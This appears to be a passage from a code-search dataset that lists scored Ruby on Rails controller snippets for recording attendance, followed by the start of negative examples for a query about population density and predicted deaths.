"0.6820377", "text": "def attendances\n @member = Member.find_by_name(CGI.unescape params[:id])\n @attendances = @member.event_attendances.order_by_date.page(params[:page])\n\n respond_to do |format|\n format.html # attendances.html.erb\n format.json { render json: @member.event_attendances }\n end\n end", "title": "" }, { "docid": "7cbf40df9168ac797d4886ad7e585138", "score": "0.6791663", "text": "def create\n @event_attendance_record = EventAttendanceRecord.new(params[:event_attendance_record])\n\n respond_to do |format|\n if @event_attendance_record.save\n format.html { redirect_to @event_attendance_record, :notice => 'Event attendance record was successfully created.' }\n format.json { render :json => @event_attendance_record, :status => :created, :location => @event_attendance_record }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @event_attendance_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbe5b0cea2bc286a31820060f06e2b8c", "score": "0.67878705", "text": "def create\n @attendancetype = Attendancetype.new(params[:attendancetype])\n\n respond_to do |format|\n if @attendancetype.save\n format.html { redirect_to @attendancetype, notice: 'Attendance type was successfully created.' }\n format.json { render json: @attendancetype, status: :created, location: @attendancetype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendancetype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5bce174641b458f60cef0c3bfdcf30a1", "score": "0.6784963", "text": "def create\n event_id = params[:event_id]\n user = User.find(params[:user_id])\n @attendance = Attendance.create({:event_id=>params[:event_id], \n :attendee_id=>user.id})\n if @attendance.save\n redirect_to event_path(event_id)\n else\n redirect_to event_path(event_id)\n end\n end", "title": "" }, { "docid": "e51753d523f857bcad6a44e66ec77abe", "score": "0.6748937", "text": "def create\n respond_to do |format|\n if @attendance.save\n flash[:notice] = 'Attendance was successfully created.'\n format.html { redirect_to event_attendances_url(@event) }\n format.xml { head :created, :location => event_attendance_url(@event, @attendance) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attendance.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "41278901c6ae14717fa07200ff2b46b6", "score": "0.67407906", "text": "def attendance_params\n params.require(:attendance).permit(:user_id, :event_id)\n end", "title": "" }, { "docid": "29424d867f145669c67d159cb643a443", "score": "0.6726589", "text": "def create\n @attendance = Attendance.new(attendance_params)\n\n\n respond_to do |format|\n #binding.pry\n if @attendance.save\n format.html { redirect_to [\"asis\",@attendance], notice: 'La asistenca ha sido registrada.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1eaa4862e769b625fd7815508c19f919", "score": "0.6704897", "text": "def new\n @attendance = Attendance.new\n @users = User.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendance }\n end\n end", "title": "" }, { "docid": "1b496a9d443ccc9be480b1190956362a", "score": "0.6692698", "text": "def attendance_params\n params.require(:attendances).permit(:user_id, :event_id)\n end", "title": "" }, { "docid": "079a0f3038124e16ca14b5bb7c140df6", "score": "0.6649698", "text": "def batch\n attendances = params.require(:attendance)\n workshop = @segment.workshop\n teachers = workshop.teacher_ids\n attendances.each do |id, status, notes|\n raise(\"Teacher id #{id} not in workshop #{workshop.name}. Teachers: #{teachers}\") unless teachers.include? id.to_i\n WorkshopAttendance.create_with(status: status, notes: notes)\n .find_or_create_by(teacher_id: id, segment_id: @segment.id)\n .update!(status: status, notes: notes)\n end\n render text: 'OK'\n end", "title": "" }, { "docid": "f6619ed987609a8d4a63bd4988988beb", "score": "0.66361463", "text": "def create\n @attendance = Attendance.new(attendance_params)\n @subject_class = SubjectClass.find(params[:subject_class_id])\n @attendance.subject_class_id = @subject_class.id\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to attendances_subject_class_path(@subject_class), notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e881ca6fea6bda13f91a5f333458d4af", "score": "0.6635621", "text": "def attendance_params\n params.require(:attendance).permit(:user_id, :event_id)\n end", "title": "" }, { "docid": "7f7b3be6169b60cc224f997001f432f3", "score": "0.6625951", "text": "def create\n @attendance_list = AttendanceList.new(attendance_list_params)\n @classroom = Classroom.find(attendance_list_params[:classroom_id])\n \n \n respond_to do |format|\n if @attendance_list.save\n \n @attendance_list.attendance_data.each do |attendance_datum|\n attendance_datum.enrollment.student.user.notify(\"Take Attendance #{@attendance_list.date}\", \"<a href='http://weareci.herokuapp.com/attendance_lists/#{@attendance_list.id}/attendance_data/#{attendance_datum.id}/mark_as_present' data-method='post'> Mark Present</a>\" )\n end\n\n \n \n format.html { redirect_to @classroom, notice: 'Attendance list was successfully created.' }\n format.json { render :show, status: :created, location: @attendance_list }\n else\n format.html { render :new }\n format.json { render json: @attendance_list.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc1abc44001ebeeac1ec5ff2560767dd", "score": "0.66238177", "text": "def attendance_params\n params.require(:attendance).permit(:date, :status, :employee_note, :supervisor_note, :employee_id, :position_id, :assessment_id)\n end", "title": "" }, { "docid": "050a7d5a4ee65b27abba3e8a947a7091", "score": "0.66056645", "text": "def create\n @attendance_list = AttendanceList.new(params[:attendance_list])\n\n respond_to do |format|\n if @attendance_list.save\n format.html { redirect_to @attendance_list, notice: 'Attendance list was successfully created.' }\n format.json { render json: @attendance_list, status: :created, location: @attendance_list }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance_list.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7548cef2980823874cc0acd1abcc2249", "score": "0.6585288", "text": "def attendance_params\n params.require(:attendance).permit(:date, :subject_id, :standard_id, :division_id, :academic_year_id, :teacher_id, :att_data => [].to_h)\n end", "title": "" }, { "docid": "dd7c0f4ce402b8c6f646005fc5d61028", "score": "0.6580603", "text": "def create\n @summary_attendance = SummaryAttendance.new(summary_attendance_params)\n # @summary_attendance.user = User.find_by id: session[:user_id]\n respond_to do |format|\n if @summary_attendance.save\n format.html { redirect_to @summary_attendance, notice: 'Summary attendance was successfully created.' }\n format.json { render :show, status: :created, location: @summary_attendance }\n else\n format.html { render :new }\n format.json { render json: @summary_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d4cf1a63f5d5cc08734521cdc0de5b6", "score": "0.6544457", "text": "def create_many\n lecture = Lecture.find_by(lecture_params)\n students = lecture.users\n students.each do |student|\n Attendance.create({\n user: student,\n lecture: lecture,\n status: :absence,\n attended_at: params[:attended_at]\n })\n end\n end", "title": "" }, { "docid": "d7c90ee5199fd10f3848ee0e9428267e", "score": "0.6544244", "text": "def getAllAttendances\n\t\t@allAttendances = @tutorial.attendance.all\n\t\trender json: @allAttendances\n\tend", "title": "" }, { "docid": "949997fdb087e9017c35c61783cabb5e", "score": "0.6534956", "text": "def create\n @attendance_master = AttendanceMaster.new(attendance_master_params)\n\n respond_to do |format|\n if @attendance_master.save\n format.html { redirect_to @attendance_master, notice: 'Attendance master was successfully created.' }\n format.json { render :show, status: :created, location: @attendance_master }\n else\n format.html { render :new }\n format.json { render json: @attendance_master.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "29481bc5b7e9a077b5ce7085dc123267", "score": "0.6510877", "text": "def create\n @event = current_user.events.build(event_params) if user_logged_in\n respond_to do |format|\n if @event.save\n Attendance.create(attendee_id: current_user.id, attended_event_id: @event.id)\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15a6bc43b0d3ce9547ca6a93707f1d2b", "score": "0.6507632", "text": "def index\n @section.enrollments.each do |enrollment|\n\t\t\tunless enrollment.attendances.find {|a| a.meeting_id == @meeting.id}\n\t\t\t\tenrollment.attendances.build( meeting_id: @meeting.id ).save\n\t\t\t\tlogger.info \"attendance added for #{enrollment.student.last_name_first}\"\n\t\t\telse\n\t\t\t\tlogger.info \"attendance NOT added for #{enrollment.student.last_name_first} (exists)\"\n\t\t\tend\n\t\tend\n\n\t\t@attendances = @meeting.attendances.all.sort { |x,y| x.enrollment.student.last_name <=> y.enrollment.student.last_name }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @attendances }\n end\n end", "title": "" }, { "docid": "8e249c086954fe63556ee202fd8052b8", "score": "0.6499361", "text": "def attendance_params\n params.require(:attendance).permit(:attended_on, :seat_number)\n end", "title": "" }, { "docid": "702ce8fafe9691a00e676460b4571c38", "score": "0.6496157", "text": "def attendance_params\n params.require(:attendance).permit(:team_id, :event_id, :round, :status, a_ids:[], p_ids:[])\n end", "title": "" }, { "docid": "cc858443cf013ede6b8326c90bd5fd9e", "score": "0.64944893", "text": "def create\n @attendance_request = AttendanceRequest.new(user: current_user, description: get_description_param)\n\n respond_to do |format|\n if @attendance_request.save\n format.html { redirect_to attendance_requests_path, notice: 'Attendance request was successfully created.' }\n format.json { render :index, status: :created, location: @attendance_request }\n else\n format.html { render :new }\n format.json { render json: @attendance_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f111d823de6a0fae6ecfc77e477fb833", "score": "0.64920676", "text": "def create\n @attendance = current_student.attendances.build(attendance_params)\n @attendance.attended_on = Date.today\n \n if @attendance.save\n redirect_to attendances_path, notice: \"Your presence has been noted.\"\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "fba443786200cb03a1d0d3034e27553b", "score": "0.6488823", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n\n respond_to do |format|\n if @attendance.save\n if Cutoff.first.nil?\n Cutoff.create(cutoff_date: Date.today)\n end\n flash[:success] = \"You have successfully timed in\"\n format.html { redirect_to current_employee }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8173b2d074203a8bd124e8e0050c4084", "score": "0.64881045", "text": "def attendances\n object.attendances.map do |attendance|\n AttendanceSerializer.new(attendance)\n end\n end", "title": "" }, { "docid": "c18a92ac35f5ed7274bc5f9271c62e37", "score": "0.6480647", "text": "def create\n #@attendance = Attendance.new(attendance_params)\n #@contract = Contract.find(params[\"attendances_attributes\"][0][:contract_id])\n #@attendance = @contract.attendances.new(:contract_id => @contract.id)\n @attendance = Attendance.new(attendance_params)\n #@attendance = @contract.attendances.new(attendance_params)\n\n respond_to do |format|\n if @attendance.save\n format.html { redirect_to @attendance, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { render :new }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9599df8b0c5ba258cf0e9c22ecb672c6", "score": "0.647745", "text": "def create\n param = event_params\n creator = User.find(param[:creator].to_i)\n param[:event_type] = EventType.find_by_id(param[:event_type].to_i)\n param[:creator] = creator\n @event = Event.new(param)\n @event.attendances << creator\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: t('.success') }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c554165a433805a84550ea8a2dc41678", "score": "0.6476019", "text": "def create\n @attendance = Attendance.new(attendance_params)\n if @attendance.save\n flash[:notice] = 'Franquência registrada com sucesso.'\n redirect_to admin_attendances_path\n else\n flash[:alert] = 'Erro ao registar frequência do aluno, por favor corrigir!.'\n render :new\n end\n end", "title": "" }, { "docid": "b5e4d0bdde735fa071ae02df4d1ea822", "score": "0.64721894", "text": "def create\n\n #Encontrar asociado por codigo y actividad por nombre.\n\n @attendance = Attendance.new(attendance_params)\n @attendance.date = DateTime.now\n @activities = Activity.all\n\n @names = Array.new\n\n @activities.each do |act|\n\n @names << act.name\n\n end\n\n respond_to do |format|\n if Associate.exists?(code: params[:attendance][:associate_code]) and @attendance.save \n format.html { redirect_to attendances_path, notice: 'Attendance was successfully created.' }\n format.json { render :show, status: :created, location: @attendance }\n else\n format.html { redirect_to new_attendance_path, notice: 'El código no está registrado.'}\n format.json { render json: @attendance.errors, status: :unprocessable_entity}\n\n end\n end\n end", "title": "" }, { "docid": "8e035b2b3fe0b2051fc43fc580d84c0a", "score": "0.6469556", "text": "def generateAttendances\n\t\t@allStudents = @tutorial.users.where(:role => 0)\n\t\t@tid = @tutorial.id\n\t\t@currDate = Time.now.to_date.strftime(\"%d-%m-%Y\")\n\t\t@currTime = Time.now.to_time.strftime(\"%H:%M:%S\")\n\t\[email protected] do |s|\n\t\t\t@sid = s.id\n\t\t\t@attendance = Attendance.new(:user_id => @sid, :tutorial_id => @tid, :tut_date => @currDate, :tut_start_time => @currTime)\n\t\t\[email protected]\n\t\tend\n\t\thead :no_content\n\tend", "title": "" }, { "docid": "2ee05183bc5009bb95934777c1b4a5ca", "score": "0.64411825", "text": "def create\n @program_attendance = ProgramAttendance.new(program_attendance_params)\n\n respond_to do |format|\n if @program_attendance.save\n format.html { redirect_to @program_attendance, notice: 'Program attendance was successfully created.' }\n format.json { render action: 'show', status: :created, location: @program_attendance }\n else\n format.html { render action: 'new' }\n format.json { render json: @program_attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61aa61dd8ccb36de0c378b9fd1fe1a96", "score": "0.644017", "text": "def getTutAttendances\n\t\t@tutorial = @user.tutorials.where(:name => params[:name]).first \n\t\t@attendances = @tutorial.attendance.all\n\t\tif @attendances\n\t\t\trender json: @attendances\n\t\telse\n\t\t\trender json: {}\n\t\tend\n\tend", "title": "" }, { "docid": "3975f67cbf65a92bf97f426dcb8ed67e", "score": "0.6439906", "text": "def create\n @event_attendance = current_user.event_attendances.new(event_attendance_params)\n\n if (@event_attendance.save)\n flash[:success] = \"Attending event!\"\n else\n flash[:warning] = \"Something went wrong\"\n end\n\n redirect_to request.referrer\n end", "title": "" }, { "docid": "f0f9ce9681381914dc748f29caff79ef", "score": "0.6437526", "text": "def attendance_params\n params.require(:attendance).permit(:event_id, :user_id, :user_guess_id)\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "a017ecfd78174ab5bc9f30ec6c7ecb22", "score": "0.6424685", "text": "def index\n @attendances = Attendance.all\n end", "title": "" }, { "docid": "cc4d3f9dbfcca0f7d6170e7c03e5ba17", "score": "0.64213127", "text": "def index\n @attendances = Attendance.all\n \n end", "title": "" }, { "docid": "bc23316b906a8416db4cef75154ddadd", "score": "0.64124584", "text": "def attendance_params\n params.require(:attendance).permit(:date_created, :comment, :subject_class_id)\n end", "title": "" }, { "docid": "a8284e67441cd0701c882bc75003df6d", "score": "0.6410726", "text": "def attendance_params\n params.require(:attendance).permit(:date_at, :staff_id, :account, :department, :rule, :times_count, :work_hours, :approval, :status, :calibration, :start_work, :end_work)\n end", "title": "" }, { "docid": "6b77d7a3870f05a34dd6b46bfc8d6866", "score": "0.63886076", "text": "def attendance_params\n params.require(:attendance).permit(:student_has_subject_id, :attendance_type, :fecha_asistencia)\n end", "title": "" }, { "docid": "286282e9f6a8211bf8ed881971c59a3d", "score": "0.6378116", "text": "def create\n @student_attendance = StudentAttendance.new(params[:student_attendance])\n\n respond_to do |format|\n if @student_attendance.save\n flash[:notice] = 'StudentAttendance was successfully created.'\n format.html { redirect_to(@student_attendance) }\n format.xml { render :xml => @student_attendance, :status => :created, :location => @student_attendance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student_attendance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b75ce9f5436d0e75abfd96af95a9c997", "score": "0.63667244", "text": "def update\n\t\tif @attendance.update(attendance_params)\n\t\t\thead :no_content\n\t\telse\n\t\t\trender json: @attendance.errors, status: :unprocessable_entity\n\t\tend\n\tend", "title": "" }, { "docid": "a4a84d66963e8b71fe6a974987841522", "score": "0.6365805", "text": "def attendance_params\n params.require(:attendance).permit(:time_in, :time_out, :employee_id, :day_type)\n end", "title": "" }, { "docid": "a2e98efde9c767fa37dbdd1e309edb01", "score": "0.6362705", "text": "def attendance_params\n params.require(:attendance).permit(:school_id, :coach_id, :attendance_date)\n end", "title": "" }, { "docid": "04514b981952d5a08ca862c7822e7890", "score": "0.6356814", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n\n respond_to do |format|\n if @attendance.save\n UserMailer.signed_up(current_user.email, @attendance.coursesection_id, \n @attendance.coursesection.course.coursename, @attendance.coursesection.coursesectiondate, @attendance.coursesection.duration, \n @attendance.coursesection.location, @attendance.coursesection.course.resource_url.to_s).deliver\n format.html { redirect_to courses_path, notice: 'You have applied for this course section. You should receive a confirmation email shortly.' }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "017e3425f2aec148424a04d218cd2fc9", "score": "0.6355021", "text": "def index\n @event = Event.find(params[:event_id])\n @attendances = @event.attendances \n end", "title": "" }, { "docid": "b49ac6c22dbbfb157e5ae6d39b91ac66", "score": "0.6342144", "text": "def create\n @event = current_user.events.build(params[:event])\n \n if @event.save\n attendance = Attendance.create!( :event_id => @event.id, :inviting_id => current_user.id, :attending_id => current_user.id, :votes_remaining => @event.votes_per_attendee, :selections_remaining => @event.selections_per_attendee )\n respond_to do |format|\n format.html { redirect_to(@event, :notice => 'Event was successfully created.') }\n format.mobile { redirect_to(root_path, :notice => 'Event was successfully created.') }\n end\n else\n render :action => \"new\"\n end\n end", "title": "" }, { "docid": "43a55a18887c188b30d47af605d83cd5", "score": "0.6335205", "text": "def attendance_params\n params.require(:attendance).permit(:event, :latitude, :longitude, :marked_at)\n end", "title": "" }, { "docid": "ad0c488ad8d26e500ff1d042bd9a6603", "score": "0.63340616", "text": "def create\n @attendance = Attendance.new(params[:attendance])\n @course = Course.find_by_id(session[:course_id])\n \n respond_to do |format|\n if @attendance.save\n format.html { redirect_to take_attendance_course_path(@course.id), notice: 'Attendance was successfully created.' }\n format.js { @current_attendance = @attendance }\n format.json { render json: @attendance, status: :created, location: @attendance }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "912b1f1f134fde7b4d45066c5e293917", "score": "0.633325", "text": "def update_attendance\n\t\tbegin\n\t\t\t@semester_id = Semester.current_semester.id\n\t\t\tbegin\n\t\t\t\tmarked = params[:attendance_data]\n\t\t\t\tmarked.keys.each do |key|\n\t\t\t\t\tem = EventMember.create(semester_id: @semester_id, event_id: marked[key]['event_id'], member_id:marked[key]['member_id'])\n\t\t\t\t\tem.save\n\t\t\t\tend\n\t\t\trescue \n\t\t\t\tp 'adding attendance failed'\n\t\t\tend\n\t\t\tbegin\n\t\t\t\tunmarked = params[:remove_data]\n\t\t\t\tunmarked.keys.each do |key|\n\t\t\t\t\tem = EventMember.where(event_id: unmarked[key]['event_id'], member_id:unmarked[key]['member_id']).destroy_all\n\t\t\t\tend\n\t\t\trescue\n\t\t\t\tp 'remove attendance failed'\n\t\t\tend\n\t\t\t\n\t\t\trender :nothing => true, :status => 200, :content_type => 'text/html'\n\t\trescue\n\t\t\trender :nothing => true, :status => 500, :content_type => 'text/html'\n\t\tend\n\tend", "title": "" }, { "docid": "e8dc86b6379d33fa582184fbe78e80ab", "score": "0.632101", "text": "def attendance_params\n params.require(:attendance).permit(:employee_shift_id, :employee_id, :attendance_date, :check_in, :check_out, :company_hrs, :over_time_hrs, :total_hrs)\n end", "title": "" }, { "docid": "be2c96c2c9b56fbe6ac2f1faa56b9cd5", "score": "0.62966144", "text": "def create\n @studentattendance = Studentattendance.new(params[:studentattendance])\n\n respond_to do |format|\n if @studentattendance.save\n flash[:notice] = 'Studentattendance was successfully created.'\n format.html { redirect_to(@studentattendance) }\n format.xml { render :xml => @studentattendance, :status => :created, :location => @studentattendance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @studentattendance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be2c96c2c9b56fbe6ac2f1faa56b9cd5", "score": "0.62966144", "text": "def create\n @studentattendance = Studentattendance.new(params[:studentattendance])\n\n respond_to do |format|\n if @studentattendance.save\n flash[:notice] = 'Studentattendance was successfully created.'\n format.html { redirect_to(@studentattendance) }\n format.xml { render :xml => @studentattendance, :status => :created, :location => @studentattendance }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @studentattendance.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bb17871f653e52428236459dceb8b66", "score": "0.6294826", "text": "def attendance_json\n counter = @attendances.length\n json = \"section_id: \" << params[:section] << \",\\n\"\n json << \" class_date: \\\"\" << params[:date] << \"\\\",\\n\"\n json << \" attendance: {\\n\"\n\n # Print out the attendances already set for this section on this date\n @attendances.each do |attendance|\n json << \" \\\"\" << attendance.user_id.to_s << \"\\\": { \"\n json << \"attendance: \" << attendance.attendance.to_s\n json << \" }\"\n\n counter -= 1\n\n if(counter > 0)\n json << \",\\n\"\n end\n end\n\n json << \"\\n },\\n\"\n # End attendances\n\n # All the students in this section\n counter = @students.length\n json << \" students: {\\n\"\n\n @students.each do |student|\n json << \" \\\"\" << student.user_id.to_s << \"\\\": { \"\n json << \"user_name: \\\"\" << student.name.to_s << \"\\\"\"\n json << \" }\"\n\n counter -= 1\n\n if(counter > 0)\n json << \",\\n\"\n end\n end\n\n json << \"\\n },\"\n # End students\n\n return json\n end", "title": "" }, { "docid": "c7b3b4bcccb7d3b4f4d1e790a63edb7b", "score": "0.6290076", "text": "def create\r\n @students = Student.active.order('last_name')\r\n @students.each do |student|\r\n\r\n if params[\"student#{student.id}\"]\r\n num_classes = 0\r\n params[\"student#{student.id}\"].each {|key, value|\r\n num_classes += value.to_i();\r\n }\r\n student.attendances.create :number_of_classes => num_classes if num_classes > 0\r\n end\r\n end\r\n \r\n respond_to do |format|\r\n flash.now[:notice] = 'Attendance was successfully created.'\r\n format.html { render \"done\" }\r\n end\r\n end", "title": "" }, { "docid": "40c2d9b9072cbab10902f1c40bc473c5", "score": "0.62887347", "text": "def my_attendances\n @attendances = Attendance.where(employee_id: current.employee.id)\n @attendance = Attendance.new\n @justification = Justification.new(employee_id: current.employee.id)\n @upload = Upload.new(type: 'attendances')\n end", "title": "" }, { "docid": "46a4047d81d6f60f5ea53e29f9fccbd0", "score": "0.6282869", "text": "def attendance_params\n params.permit(:status, :date, :user_id, :course_id, :danger)\n end", "title": "" }, { "docid": "636d7a2eb17ccf84351312f5047e50d6", "score": "0.6278495", "text": "def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendance }\n end\n end", "title": "" }, { "docid": "636d7a2eb17ccf84351312f5047e50d6", "score": "0.6278495", "text": "def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendance }\n end\n end", "title": "" }, { "docid": "636d7a2eb17ccf84351312f5047e50d6", "score": "0.6278495", "text": "def new\n @attendance = Attendance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attendance }\n end\n end", "title": "" }, { "docid": "5312293b693eef4a19d5425b6beb8484", "score": "0.6277006", "text": "def attendance_params\n params.require(:attendance).permit(:user_id, :work_date, :in_time, :out_time, :project_name, :place, :description)\n end", "title": "" }, { "docid": "437888828091f55c379a6e923b3f1cdb", "score": "0.62635005", "text": "def attendance_params\n params.require(:attendance).permit(:date, :labour_id, :work_id, :hours, :in, :out,:client_salary)\n end", "title": "" }, { "docid": "a1620a35746576d51116913dc303794f", "score": "0.6262614", "text": "def create\n attendance = Attendance.find_or_initialize_by(\n user_id: attendance_params[:user_id],\n date: attendance_params[:date],\n course_id: attendance_params[:course_id]\n )\n\n attendance.update(status: attendance_params[:status])\n update_student_danger(params[:user_id])\n\n redirect_to :back\n end", "title": "" }, { "docid": "cc00ce2a7f20cf88ec788e08bf6c4305", "score": "0.62580407", "text": "def makeAttended\n\t\t@lastAttendance = @user.attendance.last\n\t\[email protected](:attended => true)\n\t\tif @lastAttendance.save\n\t\t\thead :no_content\n\t\telse\n\t\t\trender json: @lastAttendance.errors, status: :unprocessable_entity\n\t\tend\n\tend", "title": "" }, { "docid": "38f42de2f1933af8f8a983c2e9a71fee", "score": "0.62542", "text": "def create\n # @course_id = pa\n @attendance = Attendance.new(attendance_params)\n\n @student_email = params[:student_email]\n if Student.find_by_email(@student_email) # student exists\n @student_id = Student.find_by_email(@student_email).id\n @attendance.student_id = @student_id\n else # create new student with that email\n @new_student = Student.new(email: @student_email)\n @new_student.save\n @attendance.student_id = @new_student.id\n end\n # @attendance.student_id = @student.id\n # @attendance = Attendance.new(attendance_params)\n\n respond_to do |format|\n if @attendance.save\n @notice_string = 'Congratulations! You registered for ' + Course.find(@attendance.course_id).title\n if params[:send_to_skillchest]\n ## post to skillchest new-attendance url\n # @notice_string += 'send'\n\n require \"net/http\"\n # params = {'box1' => '',\n # 'button1' => 'Submit'\n # }\n # x = Net::HTTP.post_form(URI.parse('localhost:3000/users/new_registration'), params)\n uri = URI('http://www.skillchest.com/users/new_registration')\n puts uri\n x = Net::HTTP.post_form(uri, params)\n puts x.body\n end\n format.html { redirect_to @attendance, notice: @notice_string }\n format.json { render action: 'show', status: :created, location: @attendance }\n else\n format.html { render action: 'new' }\n format.json { render json: @attendance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
ef5b985b85180b6d1c87dd7fcd67381b
checks population_density and assigns the appropriate multiplication factor to calculate number of deaths using if/elsif/else statements prints the appropriate string using those values
[ { "docid": "4322dcfac1016b799915c47efa7f5bd8", "score": "0.0", "text": "def speed_of_spread # (population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n #speed = 0.0\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" } ]
[ { "docid": "ad4a3d63a56b6600208577499b9b63eb", "score": "0.8086509", "text": "def disease_report(population_density, population, state)\n speed = 0.0\n \n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n speed += 0.5\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n speed += 1.0\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n speed += 1.5\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n speed += 2.0\n else \n number_of_deaths = (@population * 0.05).floor\n speed += 2.5\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "ee1a67fe5ef364fe220cc993dfc7b9bd", "score": "0.7932424", "text": "def predicted_deaths(population_density, population, state)\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else \n # number_of_deaths = (@population * 0.05).floor\n\n\n\n #end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "820339f5687da983d9bce4553b57956e", "score": "0.78440934", "text": "def predicted_deaths(population_density, population, state)\n if @population_density >= 200; number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150; number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100; number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50; number_of_deaths = (@population * 0.1).floor\n else number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "3b518e3a950157cd5d988245ae2f2c7f", "score": "0.7843413", "text": "def predicted_deaths#(population_density, population, state)\n # predicted deaths is solely based on population density\n if @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n number_of_deaths = (@population * 0.1).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n# prints the predicted deaths by state to a string.\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "title": "" }, { "docid": "97df777535e860723be6ec25bfa2224c", "score": "0.7828801", "text": "def predicted_deaths(population_density, population, state)\n # predicted deaths is solely based on population density\n if population_density >= 200\n number_of_deaths = 